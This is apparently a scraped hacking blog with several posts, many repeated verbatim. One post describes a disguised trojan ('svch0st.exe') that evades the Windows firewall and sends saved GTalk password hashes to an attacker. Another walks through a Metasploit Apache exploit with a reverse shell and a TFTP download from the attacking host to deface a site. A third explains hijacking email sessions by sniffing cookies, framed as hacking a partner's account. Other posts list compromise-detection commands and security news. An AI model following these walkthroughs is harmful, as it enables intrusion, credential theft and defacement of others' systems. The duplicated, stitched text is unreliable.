Do you save Passwords ?
This is a WRITEUP about Google Talk Application and its Password Saving facility.
Tested on Google Talk 1.0.0.104
GTalk when set to save password, hashes and stores it like any other application for convenience but in a very secured manner.
I've developed a small application (Client-Server) which when executed by the target sends you its login name and hashed (/ encrypted) password string.
When successfully dropped into and executed from C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ the application tricks Windows Firewall and doesn't ask with the unblock / cancel popup box.
The application running on the attacker's end will obtain the hash sent to it and will display the hash string on its side. The attacker can then replace/create his password hash with the target's hash.
After this, when the attacker launches Google Talk we expect the
(asterisked) password to be the same as the target's.
A password unhider tool can now aide the attacker to reveal (unmask) what the actual password of the target is.
Right ?
[ Demonstration ]
- Do this yourself
- Save svch0st.exe(attached) to C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Execute CollectGTPass.exe(attached)
- CollectGTPass.exe opens port 2803 on Localhost and will wait for signal from its Target/s (In our case the Target will connect to 127.0.0.1 since the Client and Server both are running on 127.0.0.1, locally) Note that the The target IP and Attacker Connection IP have been hardcoded in the exe since this is not a malware (trojan-tool) for everyone and is just for demonstration purpose.
- In the demonstration video(attached) XP Firewall prompted for the CollectGTPass.exe (GPWS2.exe) and the application has been unblocked in the XP Firewall now.
- When you will test this, Firewall won't popup any alert since the Target is connecting to loopback. In remote scenario, to avoid the alert svch0st.exe adds itself in List of AuthorisedApplications residing in HKLM before trying to connect remotely (Successfully Tested as shown in Video)
- Execute svch0st.exe
- svch0st.exe sends the encrypted password to Target:2803
- CollectGTPass.exe will now receive the encrypted Password and will wait for the next one.
- CollectGTPass waits forever to collect more password hashes from other sources.
- This tool has been successfully tested to obtain a target's hash remotely both in a local network as well as over public IPs.
- Screenshots and a Video of a successful local and remote respective retrieval attempt are attached.
[ Question ]
So does it work ? Do we get the Target's Password ?
[ Answer ]
NO !!
We get the hash and using a password unmasking tool we view the password.
But the hashing algorithm is still unknown to me.
[ Moral of the Story ]
Don't save passwords. Everything isn't GTalk.
[ What's Next ? ]
Skype.
Video..>http://senduit.com/96f520
.:credit:. .=.QuakerD00mer.=.
Tuesday, June 17, 2008
Built-in Windows commands to determine if a system has been hacked
1) WMIC: A world of adventure awaits
C:\> wmic process
C:\> wmic process list brief
C:\> wmic process list full
C:\> wmic startup list full
C:\> wmic process list brief /every:1
Hitting CTRL+C will stop the cycle.
2) The net command: An oldie but a goodie
3) Openfiles: Deep scrutiny
C:\> openfiles /local on
C:\> openfiles /query /v
C:\> openfiles /local off
4) Netstat: Show me the network
C:\> netstat -nao
C:\> netstat –s –p icmp
C:\> netstat –na 2
5) Find: Searching output for useful stuff
C:\> wmic process list brief /every:1 | find "cmd.exe"
C:\> wmic startup list brief | find /i "hklm"
Researching output
With these five tools, users can get a great deal of information about the configuration and security state of a Windows machine. To use each command in identifying a compromise, however, a user needs to compare the current settings of the machine under analysis to a "normal," uninfected machine.
For detailed use of the commands and interpreting outputs read this
C:\> wmic process
C:\> wmic process list brief
C:\> wmic process list full
C:\> wmic startup list full
C:\> wmic process list brief /every:1
Hitting CTRL+C will stop the cycle.
2) The net command: An oldie but a goodie
3) Openfiles: Deep scrutiny
C:\> openfiles /local on
C:\> openfiles /query /v
C:\> openfiles /local off
4) Netstat: Show me the network
C:\> netstat -nao
C:\> netstat –s –p icmp
C:\> netstat –na 2
5) Find: Searching output for useful stuff
C:\> wmic process list brief /every:1 | find "cmd.exe"
C:\> wmic startup list brief | find /i "hklm"
Researching output
With these five tools, users can get a great deal of information about the configuration and security state of a Windows machine. To use each command in identifying a compromise, however, a user needs to compare the current settings of the machine under analysis to a "normal," uninfected machine.
For detailed use of the commands and interpreting outputs read this
Sunday, September 23, 2007
Web Server Defacement-Educational :-P
Web server defacement attacks are relatively commonplace today.If you are going to defend your computer networks from various attacks it then behooves you to learn how they are attacked in the first place!
Let's set the stage
Well we now know that for an exploit to work certain criteria must be met. People perform this defacement in lab using two laptops. One of them had SuSE Linux installed on it, and the other laptop had Windows 2000 Professional on it. On the W2K laptop I had also installed the open source Apache web server specifically version 1.3.17. There are vulnerable versions following the release of 1.3.17 but we will be using this one for our recreation purposes. Why am I using this specific version of Apache you may be asking right now. Good question! I would refer you back to my earlier assertion that to exploit something there is always a set of criteria to fulfill. In this case this version of Apache for Windows was vulnerable to the apache chunked encoding vulnerability.
Well our list of requirements to perform our own web page defacement is filling out #nicely.
Metasploit Framework to actually launch the exploit
Windows 2000 Professional with Apache 1.3.17 installed on it
Two laptops connected via a switch
Metasploit
The below noted shows what the command “show exploits” will give you when entered at the msf prompt within Metasploit. A list of the available exploits comes up.
So we can see several of the exploits available within the framework are listed.
We will use following exploit
apache_chunked_win32
Now enter the command to pick the exploit we are going to use as seen below.
msf > use apache_chunked_win32
msf apache_chunked_win32 >
As seen we have our prompt back and it is showing we are using the exploit that we chose:
apache_chunked_win32. From here we now will put in the below noted command to check for various options associated with this exploit under the framework.
msf apache_chunked_win32 > show options
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- ------------------
optional SSL Use SSL
required RHOST The target address
required RPORT 80 The target port
Target: Windows NT/2K Brute Force
msf apache_chunked_win32 >
We now have our prompt back again, and the list of options we need to fill in such #as the remote hosts IP address. Please note that you will also need to enter the local hosts IP address as well ie: your attacking machines address in your lab setup. You need to enter the commands to set these options as noted below;
msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >
We will set the LHOST option a little later on in this article. Would you look at those exploit options! We have now set that field, and have our prompt waiting for us once again. From here we will go onto other various options we need to set before using this exploit to gain system level access on the web server. In our case we will now use the following command to see what payloads we can use.
msf apache_chunked_win32 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_ie Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec Windows Staged Reverse
Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server DLL
Inject
msf apache_chunked_win32 >
From what we can see above there is a plethora of options available to us. In our case we will use the
win32_reverse payload.
Why? Well we want a shell that we can use to ferry stuff back and forth with. To beprecise we want to copy the index.html file, and make some adjustments to it ie: deface it. Having a shell will allow us to do just that. Well on that note we need to tell the Framework that we want that payload option. Please see below for the syntax.
msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >
So we now have set that payload and have our prompt back. What to do next? Ah yes! We need to set an IP address to receive the reverse shell. Remember a few steps ago we set the RHOST to specify the machine to attack? Well we also need to do the same thing to set the receiving host. Please see below.
msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >
We are now ready to actually launch the exploit. The syntax for doing so is seen #below.
msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101
[*] Starting Reverse Handler.
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 352...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 356...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 356...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 360...
[*] Got connection from 192.168.1.101:1031
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Apache Group\Apache>
Voilaa!! So we can see above that we now have a command prompt in the Apache directory itself.
Well so far we have accomplished a fair amount of work. The Apache web server has now been compromised by us, and we have our reverse shell as seen above. With this reverse shell and system level access the machine is completely ours to play with and manipulate.
Alright we are now in control of the remote web server. Let’s take a look around shall we? To that end I will do a “dir” to see what is in the directory, as seen Not shown
Hmmmmm, well we would probably as “web page defacers” want a look inside the htdocs directory for the indexhtml file. So I “cd” to that directory and do a “dir”.
CProgram FilesApache GroupApachehtdocsdir
So there indeed is our prey. What we would need to do now is delete that file, and once done insert our own index.html into its place. How to do that though? Well a favourite way to transfer stuff back, and forth that is used by hackers is to do so via TFTP. Our attacker would need a TFTP server running on their computer, and would then use the built in TFTP client on the victim's own computer to initiate the transfer.
Seen below is the attacking machine deleting the existing index.html file on the web server. This had to be done with the “del /F” command, as this file was being used. The attacker had to delete the index.html file as they wanted to insert their own via TFTP.
11:02:39.079422 IP (tos 0x0, ttl 64, id 50860, offset 0, flags [DF], length: 58) 192.168.1.102.4321 >
192.168.1.101.1028: P [tcp sum ok] 51364367:51364385(18) ack 813323178 win 10720
0x0000: 4500 003a c6ac 4000 4006 eff5 c0a8 0166 E..:..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c20f 307a 53aa ...e........0zS.
0x0020: 5018 29e0 a0a4 0000 6465 6c20 2f46 2069 P.).....del./F.i
0x0030: 6e64 6578 2e68 746d 6c0a ndex.html.
From the packets seen below we can verify that the attacking machine of 192.168.1.102 issued the tftp command to the compromised web server;
tftp –i 192.168.1.102 GET index.html
The second packet shows the compromised web server issuing this tftp request to the attackers tftp server. Remember our attacker has a reverse command shell which is why am showing both packets as evidenced below.
11:02:48.698588 IP (tos 0x0, ttl 64, id 50878, offset 0, flags [DF], length: 77) 192.168.1.102.4321 >
192.168.1.101.1028: P [tcp sum ok] 51364389:51364426(37) ack 813323812 win 10720
0x0000: 4500 004d c6be 4000 4006 efd0 c0a8 0166 E..M..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c225 307a 5624 ...e.......%0zV$
0x0020: 5018 29e0 0c3c 0000 7466 7470 202d 6920 P.)..<..tftp.-i. 0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE #0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html. 11:02:48.699161 IP (tos 0x0, ttl 128, id 117, offset 0, flags [DF], length: 77) 192.168.1.101.1028 >
192.168.1.102.4321: P [tcp sum ok] 813323812:813323849(37) ack 51364426 win 17443
0x0000: 4500 004d 0075 4000 8006 761a c0a8 0165 E..M.u@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5624 030f c24a ...f....0zV$...J
0x0020: 5018 4423 f1d3 0000 7466 7470 202d 6920 P.D#....tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html.
A couple of packets have been left out here as they just confirm the requested tftp #transfer. Please see the below noted transfer of the modified web page onto the #compromised web server.
11:02:48.834306 IP (tos 0x0, ttl 64, id 26457, offset 0, flags [DF], length: 544) 192.168.1.102.1024 >
192.168.1.101.1030: [udp sum ok] UDP, length: 516
0x0000: 4500 0220 6759 4000 4011 4d58 c0a8 0166 E...gY@.@.MX...f
0x0010: c0a8 0165 0400 0406 020c 3502 0003 0001 ...e......5.....
0x0020: 3c21 444f 4354 5950 4520 6874 6d6c 2050 .
0x0060: 3c68 746d 6c3e 0a3c 6865 6164 3e0a 2020 html.head...
0x0070: 3c74 6974 6c65 3e69 6e64 6578 2e68 746d titleindex.htm
0x0080: 6c32 3c2f 7469 746c 653e 0a3c 2f68 6561 l2title.hea
0x0090: 643e 0a3c 626f 6479 3e0a 3c68 323e 3c62 d.body.h2b
0x00a0: 723e 0a3c 2f68 323e 0a3c 6831 3e3c 6272 r./h2.h1br
0x00b0: 3e0a 3c2f 6831 3e0a 3c68 313e 3c62 723e ./h1.h1br
0x00c0: 0a3c 2f68 313e 0a3c 6831 3e59 6f75 2068 ./h1.h1You.h
0x00d0: 6176 6520 6a75 7374 2062 6565 6e20 6f77 ave.just.been.ow
0x00e0: 6e65 6420 6279 2061 6c74 2e64 6f6e 3c2f ned.
Now please note the below seen packet signifying the successful transfer of the page index.html
11:02:48.847478 IP (tos 0x0, ttl 128, id 121, offset 0, flags [DF], length: 98)
192.168.1.101.1028 >
192.168.1.102.4321: P [tcp sum ok] 813323849:813323907(58) ack 51364426 win 17443
0x0000: 4500 0062 0079 4000 8006 7601 c0a8 0165 E..b.y@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5649 030f c24a ...f....0zVI...J
0x0020: 5018 4423 fa01 0000 5472 616e 7366 6572 P.D#....Transfer
0x0030: 2073 7563 6365 7373 6675 6c3a 2036 3736 .successful:.676
0x0040: 2062 7974 6573 2069 6e20 3120 7365 636f .bytes.in.1.seco
0x0050: 6e64 2c20 3637 3620 6279 7465 732f 730d nd,.676.bytes/s.
0x0060: 0d0a ..
Well the web page defacement has now occurred, and hopefully that is all that the person has done. The attacker could just as easily have installed all kinds of nastiness as well though. For example; a rootkit, an ftp server, or other undesirable content. In reality if your web server is defaced you must do a format of your hard drive as there could be anything on it. To do anything less is inviting disaster. Simply replacing the defaced web page is not enough.
Let's set the stage
Well we now know that for an exploit to work certain criteria must be met. People perform this defacement in lab using two laptops. One of them had SuSE Linux installed on it, and the other laptop had Windows 2000 Professional on it. On the W2K laptop I had also installed the open source Apache web server specifically version 1.3.17. There are vulnerable versions following the release of 1.3.17 but we will be using this one for our recreation purposes. Why am I using this specific version of Apache you may be asking right now. Good question! I would refer you back to my earlier assertion that to exploit something there is always a set of criteria to fulfill. In this case this version of Apache for Windows was vulnerable to the apache chunked encoding vulnerability.
Well our list of requirements to perform our own web page defacement is filling out #nicely.
Metasploit Framework to actually launch the exploit
Windows 2000 Professional with Apache 1.3.17 installed on it
Two laptops connected via a switch
Metasploit
The below noted shows what the command “show exploits” will give you when entered at the msf prompt within Metasploit. A list of the available exploits comes up.
So we can see several of the exploits available within the framework are listed.
We will use following exploit
apache_chunked_win32
Now enter the command to pick the exploit we are going to use as seen below.
msf > use apache_chunked_win32
msf apache_chunked_win32 >
As seen we have our prompt back and it is showing we are using the exploit that we chose:
apache_chunked_win32. From here we now will put in the below noted command to check for various options associated with this exploit under the framework.
msf apache_chunked_win32 > show options
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- ------------------
optional SSL Use SSL
required RHOST The target address
required RPORT 80 The target port
Target: Windows NT/2K Brute Force
msf apache_chunked_win32 >
We now have our prompt back again, and the list of options we need to fill in such #as the remote hosts IP address. Please note that you will also need to enter the local hosts IP address as well ie: your attacking machines address in your lab setup. You need to enter the commands to set these options as noted below;
msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >
We will set the LHOST option a little later on in this article. Would you look at those exploit options! We have now set that field, and have our prompt waiting for us once again. From here we will go onto other various options we need to set before using this exploit to gain system level access on the web server. In our case we will now use the following command to see what payloads we can use.
msf apache_chunked_win32 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_ie Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec Windows Staged Reverse
Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server DLL
Inject
msf apache_chunked_win32 >
From what we can see above there is a plethora of options available to us. In our case we will use the
win32_reverse payload.
Why? Well we want a shell that we can use to ferry stuff back and forth with. To beprecise we want to copy the index.html file, and make some adjustments to it ie: deface it. Having a shell will allow us to do just that. Well on that note we need to tell the Framework that we want that payload option. Please see below for the syntax.
msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >
So we now have set that payload and have our prompt back. What to do next? Ah yes! We need to set an IP address to receive the reverse shell. Remember a few steps ago we set the RHOST to specify the machine to attack? Well we also need to do the same thing to set the receiving host. Please see below.
msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >
We are now ready to actually launch the exploit. The syntax for doing so is seen #below.
msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101
[*] Starting Reverse Handler.
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 352...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 356...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 356...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 360...
[*] Got connection from 192.168.1.101:1031
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Apache Group\Apache>
Voilaa!! So we can see above that we now have a command prompt in the Apache directory itself.
Well so far we have accomplished a fair amount of work. The Apache web server has now been compromised by us, and we have our reverse shell as seen above. With this reverse shell and system level access the machine is completely ours to play with and manipulate.
Alright we are now in control of the remote web server. Let’s take a look around shall we? To that end I will do a “dir” to see what is in the directory, as seen Not shown
Hmmmmm, well we would probably as “web page defacers” want a look inside the htdocs directory for the indexhtml file. So I “cd” to that directory and do a “dir”.
CProgram FilesApache GroupApachehtdocsdir
So there indeed is our prey. What we would need to do now is delete that file, and once done insert our own index.html into its place. How to do that though? Well a favourite way to transfer stuff back, and forth that is used by hackers is to do so via TFTP. Our attacker would need a TFTP server running on their computer, and would then use the built in TFTP client on the victim's own computer to initiate the transfer.
Seen below is the attacking machine deleting the existing index.html file on the web server. This had to be done with the “del /F” command, as this file was being used. The attacker had to delete the index.html file as they wanted to insert their own via TFTP.
11:02:39.079422 IP (tos 0x0, ttl 64, id 50860, offset 0, flags [DF], length: 58) 192.168.1.102.4321 >
192.168.1.101.1028: P [tcp sum ok] 51364367:51364385(18) ack 813323178 win 10720
0x0000: 4500 003a c6ac 4000 4006 eff5 c0a8 0166 E..:..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c20f 307a 53aa ...e........0zS.
0x0020: 5018 29e0 a0a4 0000 6465 6c20 2f46 2069 P.).....del./F.i
0x0030: 6e64 6578 2e68 746d 6c0a ndex.html.
From the packets seen below we can verify that the attacking machine of 192.168.1.102 issued the tftp command to the compromised web server;
tftp –i 192.168.1.102 GET index.html
The second packet shows the compromised web server issuing this tftp request to the attackers tftp server. Remember our attacker has a reverse command shell which is why am showing both packets as evidenced below.
11:02:48.698588 IP (tos 0x0, ttl 64, id 50878, offset 0, flags [DF], length: 77) 192.168.1.102.4321 >
192.168.1.101.1028: P [tcp sum ok] 51364389:51364426(37) ack 813323812 win 10720
0x0000: 4500 004d c6be 4000 4006 efd0 c0a8 0166 E..M..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c225 307a 5624 ...e.......%0zV$
0x0020: 5018 29e0 0c3c 0000 7466 7470 202d 6920 P.)..<..tftp.-i. 0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE #0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html. 11:02:48.699161 IP (tos 0x0, ttl 128, id 117, offset 0, flags [DF], length: 77) 192.168.1.101.1028 >
192.168.1.102.4321: P [tcp sum ok] 813323812:813323849(37) ack 51364426 win 17443
0x0000: 4500 004d 0075 4000 8006 761a c0a8 0165 E..M.u@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5624 030f c24a ...f....0zV$...J
0x0020: 5018 4423 f1d3 0000 7466 7470 202d 6920 P.D#....tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html.
A couple of packets have been left out here as they just confirm the requested tftp #transfer. Please see the below noted transfer of the modified web page onto the #compromised web server.
11:02:48.834306 IP (tos 0x0, ttl 64, id 26457, offset 0, flags [DF], length: 544) 192.168.1.102.1024 >
192.168.1.101.1030: [udp sum ok] UDP, length: 516
0x0000: 4500 0220 6759 4000 4011 4d58 c0a8 0166 E...gY@.@.MX...f
0x0010: c0a8 0165 0400 0406 020c 3502 0003 0001 ...e......5.....
0x0020: 3c21 444f 4354 5950 4520 6874 6d6c 2050 .
0x0060: 3c68 746d 6c3e 0a3c 6865 6164 3e0a 2020 html.head...
0x0070: 3c74 6974 6c65 3e69 6e64 6578 2e68 746d titleindex.htm
0x0080: 6c32 3c2f 7469 746c 653e 0a3c 2f68 6561 l2title.hea
0x0090: 643e 0a3c 626f 6479 3e0a 3c68 323e 3c62 d.body.h2b
0x00a0: 723e 0a3c 2f68 323e 0a3c 6831 3e3c 6272 r./h2.h1br
0x00b0: 3e0a 3c2f 6831 3e0a 3c68 313e 3c62 723e ./h1.h1br
0x00c0: 0a3c 2f68 313e 0a3c 6831 3e59 6f75 2068 ./h1.h1You.h
0x00d0: 6176 6520 6a75 7374 2062 6565 6e20 6f77 ave.just.been.ow
0x00e0: 6e65 6420 6279 2061 6c74 2e64 6f6e 3c2f ned.
Now please note the below seen packet signifying the successful transfer of the page index.html
11:02:48.847478 IP (tos 0x0, ttl 128, id 121, offset 0, flags [DF], length: 98)
192.168.1.101.1028 >
192.168.1.102.4321: P [tcp sum ok] 813323849:813323907(58) ack 51364426 win 17443
0x0000: 4500 0062 0079 4000 8006 7601 c0a8 0165 E..b.y@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5649 030f c24a ...f....0zVI...J
0x0020: 5018 4423 fa01 0000 5472 616e 7366 6572 P.D#....Transfer
0x0030: 2073 7563 6365 7373 6675 6c3a 2036 3736 .successful:.676
0x0040: 2062 7974 6573 2069 6e20 3120 7365 636f .bytes.in.1.seco
0x0050: 6e64 2c20 3637 3620 6279 7465 732f 730d nd,.676.bytes/s.
0x0060: 0d0a ..
Well the web page defacement has now occurred, and hopefully that is all that the person has done. The attacker could just as easily have installed all kinds of nastiness as well though. For example; a rootkit, an ftp server, or other undesirable content. In reality if your web server is defaced you must do a format of your hard drive as there could be anything on it. To do anything less is inviting disaster. Simply replacing the defaced web page is not enough.Sunday, September 9, 2007
Download Any video...almost any from Internet
Now then this is a good trick I am mentioning below.
I have seen many people requesting ways to download videos from youtube,googlevideo and others.
Most of the people would be knowing about this downloadhelper extension available with firefox.Its really a good tool to download videos from the sites.
This first snapshot shows the downloadhelper extension in Firefox.
The tickler in the browser as shown in the snapshot starts tickling once you visit a site which has a embedded video in the browser. Clicking on the tickler gives you the link,download the video and enjoy.
BUTTTTTTT in many sites this method does not works out. Then how can we download videos. Here’s the solution. Imagine how do u get to see these videos. Videos get buffered into ur system most of the site works like this.Most of them are flash files.But question is where does this buffering happens and can I extract the video for that matter.Yes you can here is a small trick…
There is one tool available called unlocker download it on your pc.
Then follow the steps:
One disadvantage of this trick is that you need to play the whole video which you want to download from net.You need to allow the video to get buffered completely on your system.
Enjoy!!!!!!!
I have seen many people requesting ways to download videos from youtube,googlevideo and others.
Most of the people would be knowing about this downloadhelper extension available with firefox.Its really a good tool to download videos from the sites.
This first snapshot shows the downloadhelper extension in Firefox.
The tickler in the browser as shown in the snapshot starts tickling once you visit a site which has a embedded video in the browser. Clicking on the tickler gives you the link,download the video and enjoy.
BUTTTTTTT in many sites this method does not works out. Then how can we download videos. Here’s the solution. Imagine how do u get to see these videos. Videos get buffered into ur system most of the site works like this.Most of them are flash files.But question is where does this buffering happens and can I extract the video for that matter.Yes you can here is a small trick…
There is one tool available called unlocker download it on your pc.
Then follow the steps:
- Go to my computer>localdisk C>My document and settings>User(the user with which u r logged in)>local settings>Temp
- In temp folder you will see the file with name like eg. fla1FA.tmp
- Right click on it and select unlocker which u would see on the right click once you right click on the file.
- On the left hand bottom side you will see a drop menu click on it and say copy.Select the location u want to save the video.
One disadvantage of this trick is that you need to play the whole video which you want to download from net.You need to allow the video to get buffered completely on your system.
Enjoy!!!!!!!
Email Security-Sidejacking-amazing
This article i am writing is related to email security. I always loved visiting forums/community related to security and hacking one question i always used to see in general How to hack YahooMail/Gmail???I want to hack my girl friends email id?? My first reaction was is it really possible???Hacking inside schools server is possible but can we really hack some ones email id....huh
One interesting observation I want to share here.You may note that once you login in gmail it login through https then again switch back to http. Same is the case with yahoomail.So i thought is it really secure login into email id using public network?? Is there a way out to sniff my login credentials??
We all have heard of MITM attack which is not some thing new.This is exactly what i am gonna write here and try to explain the logic behind it.
Most of the people generally use gmail/yahoo.I have seen people coming from strong technical background, knowing how http based email works,surfing with little carelessness once they type gmail or yahoo they simply use to hit ctr+enter.They are least bothered what happens after they login(frankly speaking even I was one of them).
Here I am talking about gmail/yahoo.Let us see how the user is identified when he logs in his/her email ID.
Since email we use is Web-based application which frequently use sessions to provide a friendly environment to their users. HTTP is a stateless protocol, which means that it provides no integrated way for a web server to maintain states throughout user’s subsequent requests. In order to overcome this problem, web servers – or sometimes web applications – implement various kinds of session management. The basic idea behind web session management is that the server generates a session identifier (ID) at some early point in user interaction, sends this ID to the user’s browser and makes sure that this same ID will be sent back by the browser along with each subsequent request. Session IDs thereby become identification tokens for users, and servers can use them to maintain session data and create a session-like experience to the users.
There are three widely used methods for maintaining sessions in web environment: URL arguments, hidden form fields and cookies . While each of them has its
benefits and shortcomings, cookies have proven to be the most convenient and also the least insecure of the three. Very often, session IDs are not only identification tokens, but also authenticators. This means that upon login, users are authenticated based on their credentials (e.g.,usernames/passwords or digital certificates) and issued session IDs that will effectively serve as temporary static passwords for accessing their sessions.
Since http is a stateless protocol. This description recognizes the lack of association between any two HTTP requests. Because the protocol does not provide any method that the client can use to identify itself, the server cannot distinguish between clients.
Cookie exchange that involves two http transactions
Cookie TheftOne interesting observation I want to share here.You may note that once you login in gmail it login through https then again switch back to http. Same is the case with yahoomail.So i thought is it really secure login into email id using public network?? Is there a way out to sniff my login credentials??
We all have heard of MITM attack which is not some thing new.This is exactly what i am gonna write here and try to explain the logic behind it.
Most of the people generally use gmail/yahoo.I have seen people coming from strong technical background, knowing how http based email works,surfing with little carelessness once they type gmail or yahoo they simply use to hit ctr+enter.They are least bothered what happens after they login(frankly speaking even I was one of them).
Here I am talking about gmail/yahoo.Let us see how the user is identified when he logs in his/her email ID.
Since email we use is Web-based application which frequently use sessions to provide a friendly environment to their users. HTTP is a stateless protocol, which means that it provides no integrated way for a web server to maintain states throughout user’s subsequent requests. In order to overcome this problem, web servers – or sometimes web applications – implement various kinds of session management. The basic idea behind web session management is that the server generates a session identifier (ID) at some early point in user interaction, sends this ID to the user’s browser and makes sure that this same ID will be sent back by the browser along with each subsequent request. Session IDs thereby become identification tokens for users, and servers can use them to maintain session data and create a session-like experience to the users.
There are three widely used methods for maintaining sessions in web environment: URL arguments, hidden form fields and cookies . While each of them has its
benefits and shortcomings, cookies have proven to be the most convenient and also the least insecure of the three. Very often, session IDs are not only identification tokens, but also authenticators. This means that upon login, users are authenticated based on their credentials (e.g.,usernames/passwords or digital certificates) and issued session IDs that will effectively serve as temporary static passwords for accessing their sessions.
Since http is a stateless protocol. This description recognizes the lack of association between any two HTTP requests. Because the protocol does not provide any method that the client can use to identify itself, the server cannot distinguish between clients.
Cookie exchange that involves two http transactions
One risk associated with the use of cookies is that a user’s cookies can be stolen by
an attacker. If the session identifier is kept in a cookie, cookie disclosure is a serious
risk, because it can lead to session hijacking.
Now the question is how can you steel cookies to hijack a session which does not belong to you.
There are ways to steel the cookies but i am mentioning two important ones..
Way1
One method is to use packet sniffers such as ethereal/wireshark For example, the following is a screenshot of sniffing the cookie :
Another useful tool is an extension for Firefox called “Edit Cookies”. The following screens show what it looks like:
The method is like you need make the cookie similar to that of the cookie you just now sniffed on the network.
Way2
Now if you want to avoid complexity do this stuff mentioned here thanks to Robert Graham.(;-))
I am referring the link posted here people refer the site mentioned below for detail..including the tool which is provided on the blog.
In shot it is Sidejacking with ferret and hamster. Sidejacking is the process of sniffing cookie information, then replaying them against websites in order to clone a victim’s session. They used the term “sidejacking” to distinguish this technique from man-in-the-middle hijacking. Whereas man-in-the-middle hijacking interferes with the original session, sidejacking does not. The victim continues to use his/her session blissfully unaware that we are also in his/her account (although signs such as additional e-mails in the ‘sent’ folders might give a clue).
errattasecurity
Now the millon dollar question…how to avoid being hacked…well there are some counter measures you can take..like
- Instead of loggin to http://www.gmail.com log in to htpps://www.gmail.com which keeps your session secure through out from login to logout.Remember yahoo does not provide this feature.(i am not saying that using https you would be completely secure..there has been debates related to this...but https gives you sort of security)
- For ease use customizegoogle(firefox extention for gmail) and force all gmail traffic to be htpps
Thursday, September 6, 2007
Bank of India site hacked
The Web site of the Bank of India has been hacked and is now an unwitting dispenser of an enormous amount of malware code to visitors, including rootkits and trojans, according to Sunbelt Software, which advises not currently visiting the Bankofindia.com site.
Read more
http://www.networkworld.com/
To see what was happening to Bank of India customers who visited the site during the time it was vulnerable and whose systems were not patched, check video - fascinating stuff!
Read more
http://www.networkworld.com/
To see what was happening to Bank of India customers who visited the site during the time it was vulnerable and whose systems were not patched, check video - fascinating stuff!
Embassy passwords pulled down
The hacker -- who posted 100 usernames and passwords for sensitive e-mail accounts at embassies, political groups and corporations last week -- inexplicably lost cell phone and Internet service on Tuesday night, and his Web site, DerangedSecurity, was pulled down following a complaint to his Web hosting provider about the password list, he said.
"Apparently, someone complained so they shut my site down," Egerstad said on Wednesday in an interview with SecurityFocus. "That is not a problem, because I have many servers of my own."
read more
Subscribe to:
Posts (Atom)
